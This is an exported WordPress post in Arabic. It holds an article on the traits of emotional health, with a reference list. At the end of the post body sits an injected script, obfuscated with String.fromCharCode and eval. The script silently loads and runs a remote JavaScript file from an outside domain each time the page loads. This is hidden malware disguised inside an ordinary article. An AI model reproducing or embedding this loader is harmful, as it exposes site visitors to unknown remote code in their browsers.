\u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0644\u0631\u0641\u0642 \u0628\u0627\u0644\u0630\u0627\u062a \u0648\u0627\u0644\u0634\u0641\u0642\u0629 \u0628\u0647\u0627Self-compassion&#8221; \u0648\u0627\u0647\u062a\u0645\u0627\u0645\u0647 \u0628\u0635\u062d\u062a\u0647 \u0627\u0644\u062c\u0633\u0645\u0627\u0646\u064a\u0629 \u0648\u0628\u0646\u0648\u0639\u064a\u0629 \u0639\u0644\u0627\u0642\u0627\u062a\u0647 \u0645\u0646 \u0630\u0627\u062a\u0647 \u062a\u0642\u0628\u0644\u0627\u064b \u0648\u0631\u0623\u0641\u0629 \u0648\u0631\u0642\u0629 \u0648\u0630\u0648\u0642\u064b\u0627 \u0648\u062a\u0633\u0627\u0645\u062d\u064b\u0627 \u0648\u0625\u0642\u0631\u0627\u0631 \u0628\u064a\u0642\u064a\u0646 \u0628\u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0639\u0631\u0636\u0629 \u0644\u0644\u062e\u0637\u0623 \u0648\u0627\u0644\u0646\u0633\u064a\u0627\u0646 \u0648\u0627\u0631\u062a\u0643\u0627\u0628 \u0627\u0644\u0623\u062e\u0637\u0627\u0621 \u0634\u0623\u0646\u0647 \u0634\u0623\u0646 \u0623\u064a \u0625\u0646\u0633\u0627\u0646 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0627\u0644\u0631\u0634\u0627\u0642\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629<\/strong><em><strong>Emotional<\/strong><\/em><em><strong> agility<\/strong><\/em><strong>: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u064a\u0634\u064a \u062a\u0639\u0628\u064a\u0631 &#8220;\u0627\u0644\u0631\u0634\u0627\u0642\u0629&#8221; \u0628\u0627\u0644\u062f\u0647\u0627\u0621 \u0648\u0627\u0644\u062e\u0641\u0629 \u0648\u0627\u0644\u062f\u0642\u0629 \u0648\u0627\u0644\u0645\u0647\u0627\u0631\u0629 \u0648\u0627\u0644\u062d\u0630\u0642 \u0648\u0633\u0631\u0639\u0629 \u0631\u062f \u0627\u0644\u062a\u062c\u0627\u0648\u0628 \u0645\u0639 \u0627\u0644\u0645\u062b\u064a\u0631\u0627\u062a \u0627\u0644\u062d\u064a\u0627\u062a\u064a\u0629\u060c \u0648\u062a\u0639\u062f \u0627\u0644\u0631\u0634\u0627\u0642\u0629 \u0645\u0643\u0648\u0646\u064b\u0627 \u0645\u0631\u0643\u0632\u064a\u064b\u0627 \u0645\u0646 \u0645\u0643\u0648\u0646\u0627\u062a &#8220;\u0627\u0644\u0644\u064a\u0627\u0642\u0629 Fittness&#8221; \u0641\u064a \u062a\u0641\u0627\u0639\u0644\u0647\u0627 \u0645\u0639 \u0627\u0644\u062a\u062d\u0645\u0644 \u0648\u0627\u0644\u062c\u0644\u062f \u0648\u0627\u0644\u0645\u0631\u0648\u0646\u0629\u060c \u0648\u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0631\u0634\u064a\u0642 \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627 \u0643\u0645\u0644\u0645\u062d \u0645\u0646 \u0645\u0644\u0627\u0645\u062d \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629 \u0644\u064a\u0633 \u0645\u062d\u0635\u0646\u064b\u0627 \u0636\u062f \u0639\u062b\u0631\u0627\u062a \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0634\u062f\u0627\u0626\u062f\u0647\u0627\u060c \u0625\u0644\u0627 \u0623\u0646\u0647 \u064a\u062a\u0645\u064a\u0632 \u0628\u0633\u0639\u0629 \u0627\u0644\u0623\u0641\u0642 \u0648\u0627\u0644\u0627\u0646\u0641\u062a\u0627\u062d \u0627\u0644\u0639\u0642\u0644\u064a \u0648\u0627\u0644\u062c\u0633\u0627\u0631\u0629 \u0648\u0627\u0644\u062c\u0631\u0623\u0629 \u0648\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062a\u0641\u0643\u064a\u0631 \u0627\u0644\u0642\u0627\u0626\u0645 \u0639\u0644\u0649 \u0627\u062a\u0633\u0627\u0639 \u0627\u0644\u0645\u0646\u0638\u0648\u0631 \u0648\u062a\u0639\u062f\u062f\u064a\u0629 \u0627\u0644\u0631\u0624\u064a\u0629\u061b \u0648\u0645\u0646 \u062b\u0645 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0648\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0631\u063a\u0645 \u0645\u062a\u0627\u0639\u0628 \u0627\u0644\u062d\u064a\u0627\u0629 \u0645\u062d\u062a\u0646\u0647\u0627 \u0648\u0639\u062b\u0631\u0627\u062a\u0647\u0627\u060c \u0641\u0647\u0648 \u0643\u0645\u0646 \u064a\u0646\u0637\u0628\u0642 \u0639\u0644\u064a\u0647 \u0645\u0642\u0648\u0644\u0629 &#8220;\u0644\u0627 \u062a\u0632\u0644\u0632\u0644\u0647 \u0627\u0644\u0632\u0627\u0632\u0644\u060c \u0648\u0644\u0627 \u062a\u0647\u064a\u0646\u0647 \u0627\u0644\u0646\u0648\u0627\u0632\u0644&#8221;.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0645\u0647\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u0648\u0627\u062c\u0647\u0629 \u0648\u0627\u0644\u062a\u0648\u0627\u0641\u0642<\/strong><em>coping skills<\/em>:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u062a\u0645\u062b\u0644 \u062e\u0627\u0635\u064a\u0629 \u0645\u0631\u0643\u0632\u064a\u0629 \u0641\u064a \u0627\u0644\u062a\u0643\u0648\u064a\u0646 \u0627\u0644\u0646\u0641\u0633\u064a \u0644\u0644\u0623\u0633\u0648\u064a\u0627\u0621 \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627\u060c \u0648\u062a\u0639\u062f \u0645\u0647\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u0648\u0627\u062c\u0647\u0629 \u0648\u0627\u0644\u062a\u0648\u0627\u0641\u0642 \u0627\u0644\u0645\u0642\u0648\u0645 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0644\u0644\u0635\u0645\u0648\u062f \u0627\u0644\u0646\u0641\u0633\u064a \u0641\u064a \u0645\u0631\u0648\u0646\u062a\u0647 \u0648\u0641\u064a \u062a\u0645\u0643\u064a\u0646\u0647 \u0644\u0644\u0634\u062e\u0635 \u0645\u0646 \u0627\u0644\u062a\u0639\u0627\u0641\u064a \u0645\u0646 \u0627\u0644\u062a\u0623\u062b\u064a\u0631\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0644\u0635\u062f\u0645\u0627\u062a \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0623\u0632\u0645\u0627\u062a\u0647\u0627 \u0648\u0633\u0631\u0639\u0629 \u0627\u0644\u0646\u0647\u0648\u0636 \u0628\u0639\u062f \u0627\u0644\u0639\u062b\u0631\u0627\u062a \u0628\u0644 \u0648\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0641\u064a \u0625\u0637\u0627\u0631\u0647\u0627\u060c \u0648\u064a\u0642\u0635\u062f \u0647\u0646\u0627 \u0628\u0645\u0647\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u0648\u0627\u062c\u0647\u0629 \u0648\u0627\u0644\u062a\u0648\u0627\u0641\u0642 \u0642\u062f\u0631 \u0627\u0644\u0634\u062e\u0635 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u062b\u0645\u0627\u0631 \u0627\u0644\u0645\u062a\u0648\u0627\u0632\u0646 \u0628\u064a\u0646 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0645\u0648\u0627\u062c\u0647\u0629 \u0627\u0644\u0636\u063a\u0648\u0637 \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0639\u0644\u0649 \u062d\u0644 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0648\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0645\u0648\u0627\u062c\u0647\u0629 \u0627\u0644\u0636\u063a\u0648\u0637 \u0627\u0644\u0645\u0648\u062c\u0647 \u0644\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0648\u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0627\u0644\u0646\u0627\u062a\u062c\u0629 \u0639\u0646 \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0627\u0644\u0636\u0627\u063a\u0637\u0629 \u0648\u0627\u0644\u0638\u0631\u0648\u0641 \u0627\u0644\u0639\u0635\u064a\u0628\u0629\u060c \u0628\u0645\u0627 \u064a\u0646\u062a\u062c \u0639\u0646 \u0630\u0644\u0643 \u0645\u0646 \u0633\u0644\u0627\u0645 \u0646\u0641\u0633\u064a \u062f\u0627\u062e\u0644\u064a \u0648\u062d\u0627\u0644\u0629 \u0627\u0644\u0627\u0633\u062a\u0642\u0631\u0627\u0631 \u0648\u0627\u0644\u0647\u062f\u0648\u0621 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a \u0648\u0633\u0637 \u0627\u0644\u0623\u0632\u0645\u0629 \u0623\u0648 \u0627\u0644\u0635\u062f\u0645\u0629.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0628\u0631\u0642\u0629 \u0648\u0644\u0637\u0641 \u0648\u062d\u0646\u0648 \u0648\u0646\u0632\u0627\u0647\u0629<\/strong><strong> Treats others with <em>kindness <\/em>and <em>integrity<\/em><\/strong>:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u064a\u062a\u0645\u064a\u0632 \u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0633\u0648\u064a \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627 \u0628\u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0628\u0644\u0637\u0641 \u0648\u0630\u0648\u0642 \u0648\u062a\u0623\u062f\u0628 \u0648\u062d\u064a\u0627\u0621 \u0648\u062a\u0639\u0627\u0637\u0641 \u0648\u0634\u0641\u0642\u0629 \u0648\u0646\u0632\u0627\u0647\u0629 \u0648\u0625\u0646\u0635\u0627\u0641 \u062d\u062a\u0649 \u0648\u0625\u0646 \u0643\u0627\u0646\u0648\u0627 \u0645\u0635\u062f\u0631 \u0645\u0639\u0627\u0646\u0627\u062a\u0647 \u0623\u0648 \u0645\u0634\u0643\u0644\u0627\u062a\u0647 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0641\u0645\u0627 \u062f\u062e\u0644 \u0627\u0644\u062a\u0623\u062f\u0628 \u0648\u0627\u0644\u062d\u064a\u0627\u0621 \u0648\u0627\u0644\u0631\u0642\u0629 \u0641\u064a \u0634\u064a\u0621 \u0625\u0644\u0627 \u0632\u0627\u0646\u0647 \u0648\u0647\u0648 \u0627\u0644\u0645\u0642\u0648\u0645 \u0627\u0644\u0623\u0633\u0627\u0633 \u0644\u0643\u0633\u0628 \u0627\u0644\u0642\u0644\u0648\u0628 \u0648\u062a\u0648\u0644\u064a\u0641\u0647\u0627 \u0648\u0641\u0642\u064b\u0627 \u0644\u0645\u0642\u0648\u0644\u0629 &#8220;\u0625\u0646 \u0643\u0633\u0628 \u0627\u0644\u0642\u0644\u0648\u0628 \u0648\u062c\u0628\u0631 \u0627\u0644\u062e\u0648\u0627\u0637\u0631 \u0623\u0648\u0644\u0649 \u0645\u0646 \u0643\u0633\u0628 \u0627\u0644\u0645\u0648\u0627\u0642\u0641 \u0648\u0627\u0644\u0627\u0646\u0635\u0627\u0631 \u0644\u0644\u0630\u0627\u062a&#8221;\u060c \u0645\u0646 \u062c\u0627\u0646\u0628 \u0622\u062e\u0631 \u0645\u0646 \u0645\u0644\u0627\u0645\u062d \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0628\u0631\u0642\u0629 \u0648\u0644\u0637\u0641 \u0648\u0646\u0632\u0627\u0647\u0629 \u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0645\u0639\u0647\u0645 \u0628\u062a\u0642\u0628\u0644 \u0648\u062a\u0641\u0647\u0645 \u0648\u0634\u063a\u0641 \u0648\u0627\u0647\u062a\u0645\u0627\u0645 \u0625\u064a\u062c\u0627\u0628\u064a \u0648\u062a\u0633\u0627\u0645\u062d \u0648\u0635\u0641\u062d \u0648\u0639\u0641\u0648.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0627\u0644\u0639\u064a\u0634 \u0648\u0641\u0642\u064b\u0627 \u0644\u063a\u0631\u0636 \u0625\u0646\u0633\u0627\u0646\u064a \u0646\u0628\u064a\u0644<\/strong><em>Living with purpose<\/em>:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0641\u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0633\u0648\u064a \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627 \u064a\u0646\u0642\u0628 \u0644\u0643\u0644 \u0627\u062c\u062a\u0647\u0627\u062f \u0639\u0646 \u0645\u0639\u0646\u0649 \u0627\u0644\u062d\u064a\u0627\u0629 \u0628\u0635\u0641\u0629 \u0639\u0627\u0645\u0629 \u0648\u0639\u0646 \u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0634\u062e\u0635\u064a \u0644\u0644\u062d\u064a\u0627\u0629 \u0628\u0635\u0648\u0631\u0629 \u062e\u0627\u0635\u0629\u060c \u0648\u064a\u0633\u062a\u0628\u0635\u0631 \u0645\u063a\u0632\u0649 \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u063a\u0627\u064a\u0627\u062a\u0647\u0627 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0627\u0644\u0631\u0627\u0642\u064a\u0629 \u062f\u0648\u0646 \u062a\u0645\u0631\u0643\u0632 \u0637\u0627\u063a\u064d \u062d\u0648\u0644 \u0627\u0644\u0630\u0627\u062a \u0628\u0644 \u0627\u0644\u0639\u064a\u0634 \u0645\u0646 \u0623\u062c\u0644 \u063a\u0631\u0636 \u0623\u0648 \u0647\u062f\u0641 \u064a\u062a\u062c\u0627\u0648\u0632 \u062d\u062f\u0648\u062f \u0630\u0627\u062a\u0647 \u0628\u0646\u0637\u0627\u0642\u0647\u0627 \u0627\u0644\u062e\u0627\u0646\u0642\u0629 \u0648\u062a\u062e\u0648\u0645\u0647\u0627 \u0627\u0644\u0636\u064a\u0642\u0629\u060c \u062a\u062c\u0633\u064a\u062f\u064b\u0627 \u0644\u062f\u0644\u0627\u0644\u0627\u062a \u0627\u0644\u062a\u0633\u0627\u0645\u064a \u0627\u0644\u0631\u0648\u062d\u064a \u0648\u0627\u0644\u062a\u0633\u0627\u0645\u064a \u0628\u0627\u0644\u0630\u0627\u062a.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u0636\u063a\u0648\u0637 \u0648\u0627\u0644\u0645\u0634\u0627\u0642 <\/strong><strong>Stress Management <\/strong><strong>: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u064a\u062a\u0645\u064a\u0632 \u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0633\u0648\u064a \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627 \u0628\u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0644\u0644\u0636\u063a\u0648\u0637 \u0648\u0627\u0644\u0645\u062a\u0627\u0639\u0628 \u0648\u0627\u0644\u0645\u0634\u0627\u0642 \u0627\u0644\u062d\u064a\u0627\u062a\u064a\u0629\u060c \u0648\u0645\u0645\u0627\u0631\u0633\u0629 \u0643\u0644 \u0645\u0627 \u064a\u0641\u0636\u064a \u0628\u0647 \u0625\u0644\u0649 \u0627\u0644\u0633\u0643\u064a\u0646\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u060c \u0643\u0623\u0646\u0647 \u0627\u0644\u0642\u0627\u0626\u062f \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0644\u0630\u0627\u062a\u0647 \u0641\u064a \u0623\u0648\u0642\u0627\u062a \u0627\u0644\u0636\u063a\u0648\u0637 \u0648\u0627\u0644\u0645\u062d\u0646\u060c \u0648\u0641\u0642\u064b\u0627 \u0644\u062f\u0644\u0627\u0644\u0627\u062a \u0645\u0627 \u064a\u0639\u0631\u0641 \u0627\u0635\u0637\u0644\u0627\u062d\u064b\u0627 \u0628\u0627\u0644\u0643\u0641\u0627\u0621\u0629 \u0623\u0648 \u0627\u0644\u062a\u0645\u0643\u0646 \u0627\u0644\u0630\u0627\u062a\u064a \u0643\u0623\u062d\u062f \u0623\u0647\u0645 \u0645\u0642\u0648\u0645\u0627\u062a \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0628\u0635\u0648\u0631\u0629 \u0639\u0627\u0645\u0629Self-mastery.<\/p>\n<p><span style=\"color: #000000;\"><strong>\u0631\u0627\u062c\u0639: <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">Kelly Miller (2021). What Is Emotional Health? 11 Activities and Assessments to Enhance It: <a href=\"https:\/\/positivepsychology.com\/emotional-health-activities\/\">https:\/\/positivepsychology.com\/emotional-health-activities\/<\/a><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>\u0644\u0644\u0645\u0632\u064a\u062f:<\/strong><\/span><\/p>\n<ul>\n<li style=\"text-align: justify;\">Chida, Y., Steptoe, A., &amp; Powell, L. H. (2009). Religiosity\/spirituality and mortality. <em>Psychotherapy and Psychosomatics, 78<\/em>(2), 81\u201390.<\/li>\n<li style=\"text-align: justify;\">David, S. (2016).\u00a0<em>Emotional agility: Get unstuck, embrace change, and thrive in work and life.\u00a0<\/em><\/li>\n<li style=\"text-align: justify;\">Dozier, J. O. (2010).\u00a0<em>The weeping, the window, the way.\u00a0<\/em><\/li>\n<li style=\"text-align: justify;\">Fredrickson, B. L. (2009).\u00a0<em>Positivity: Top-notch research reveals the 3-to-1 ratio that will change your life.\u00a0<\/em><\/li>\n<li style=\"text-align: justify;\">G\u00e4rling, T., Krause, K., Gamble, A., &amp;Hartig, T. (2014). Emotional well-being and time pressure. <em>PsyCh Journal, 3<\/em>(2), 132\u2013143.<\/li>\n<li style=\"text-align: justify;\">Galderisi, S., Heinz, A., Kastrup, M., Beezhold, J., &amp; Sartorius, N. (2015). Toward a new definition of mental health. <em>World Psychiatry: Official journal of the World Psychiatric Association (WPA), 14<\/em>(2), 231\u2013233.<\/li>\n<li style=\"text-align: justify;\">Hallion, L. S., Steinman, S. A., Tolin, D. F., &amp;Diefenbach, G. J. (2018). Psychometric properties of the Difficulties in Emotion Regulation Scale (DERS) and its short forms in adults with emotional disorders. <em>Frontiers in Psychology, 9<\/em>, 539.<\/li>\n<li style=\"text-align: justify;\">Hanson, R., &amp; Hanson, F. (2020).\u00a0<em>Resilient: How to grown an unshakable core of calm, strength, and happiness.\u00a0<\/em><\/li>\n<li style=\"text-align: justify;\">Hawks, S. (2004). Spiritual wellness, holistic health, and the practice of health education. <em>American Journal of Health Education, 35<\/em>(1), 11\u201318.<\/li>\n<li style=\"text-align: justify;\">House, J., Landis, K., &amp;Umberson, D. (1988). Social relationships and health. <em>Science, 241<\/em>(4865), 540\u2013545.<\/li>\n<li style=\"text-align: justify;\">James, S. L., Abate, D., Abate, K. H., Abay, S. M., Abbafati, C., Abbasi, N., \u2026 Abdelalim, A. (2018). Global, regional, and national incidence, prevalence, and years lived with disability for 354 diseases and injuries for 195 countries and territories, 1990\u20132017: A systematic analysis for the Global Burden of Disease Study 2017. <em>The Lancet, 392<\/em>(10159), 1789\u20131858.<\/li>\n<li style=\"text-align: justify;\">Keyes, C. L. M. (2002). The mental health continuum: From languishing to flourishing in life. <em>Journal of Health and Social Behavior, 43<\/em>(2), 207\u2013222.<\/li>\n<li style=\"text-align: justify;\">Kowalenko, N., Wignall, A., Rapee, R., Simmons, J., Whitefield, K., &amp; Stonehouse, R. (2002). The ACE program: Working with schools to promote emotional health and prevent depression. <em>Youth Studies Australia, 21<\/em>(2), 23\u201330.<\/li>\n<li style=\"text-align: justify;\">Patel, J., &amp; Patel, P. (2019) Consequences of repression of emotion: Physical health, mental health, and general well being. <em>International Journal of Psychotherapy Practice andResearch<\/em>, <em>1<\/em>(3), 16\u201321.<\/li>\n<li style=\"text-align: justify;\">Seligman, M. E. P. (2002). <em>Authentic happiness<\/em>. Nicholas Brealey.<\/li>\n<li style=\"text-align: justify;\">Seligman, M. E. P. (2012).\u00a0<em>Flourish: A visionary new understanding of happiness and well-being.\u00a0<\/em>Atria Books.<\/li>\n<li style=\"text-align: justify;\">Stewart-Brown, S. (1998). Emotional wellbeing and its relation to health. <em>British Medical Journal, 317<\/em>(7173), 1608\u20131609.<\/li>\n<li style=\"text-align: justify;\">Sinha, R., Lacadie, C., Skudlarski, P., &amp; Wexler, B. E. (2004). Neural circuits underlying emotional distress in humans. <em>Annals of the New York Academy of Sciences, 1032<\/em>(1), 254\u2013257.<\/li>\n<\/ul>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u062a\u062c\u0645\u064a\u0639 \u0648\u0625\u0639\u062f\u0627\u062f: \u062f. \u0645\u062d\u0645\u062f \u0627\u0644\u0633\u0639\u064a\u062f \u0623\u0628\u0648 \u062d\u0644\u0627\u0648\u0629 \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u060c \u0643\u0644\u064a\u0629 \u0627\u0644\u062a\u0631\u0628\u064a\u0629 &#8211;\u00a0 \u062c\u0627\u0645\u0639\u0629 \u062f\u0645\u0646\u0647\u0648\u0631 \u0645\u0627 \u0627\u0644\u0645\u0642\u0635\u0648\u062f \u0628\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629\u061fWhat Is Emotional Health\u061f \u00a0\u0623\u062d\u062f \u0627\u0644\u0623\u0633\u0626\u0644\u0629 \u0627\u0644\u0645\u0631\u0643\u0632\u064a\u0629 \u0641\u064a \u0623\u062f\u0628\u064a\u0627\u062a \u0639\u0644\u0648\u0645 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u062a\u0639\u062f\u062f\u062a \u0628\u0635\u0648\u0631\u0629 \u0634\u062f\u064a\u062f\u0629 \u0627\u0644\u0625\u062c\u0627\u0628\u0627\u062a \u0639\u0646\u0647 \u062a\u0628\u0639\u064b\u0627 \u0644\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0646\u0638\u0631\u064a \u0627\u0644\u0630\u064a \u064a\u0646\u0637\u0644\u0642 \u0645\u0646\u0647 \u0641\u064a \u0648\u0635\u0641 \u0648\u062a\u0641\u0633\u064a\u0631 \u0645\u0627\u0647\u064a\u0629 &#8220;\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629&#8221; 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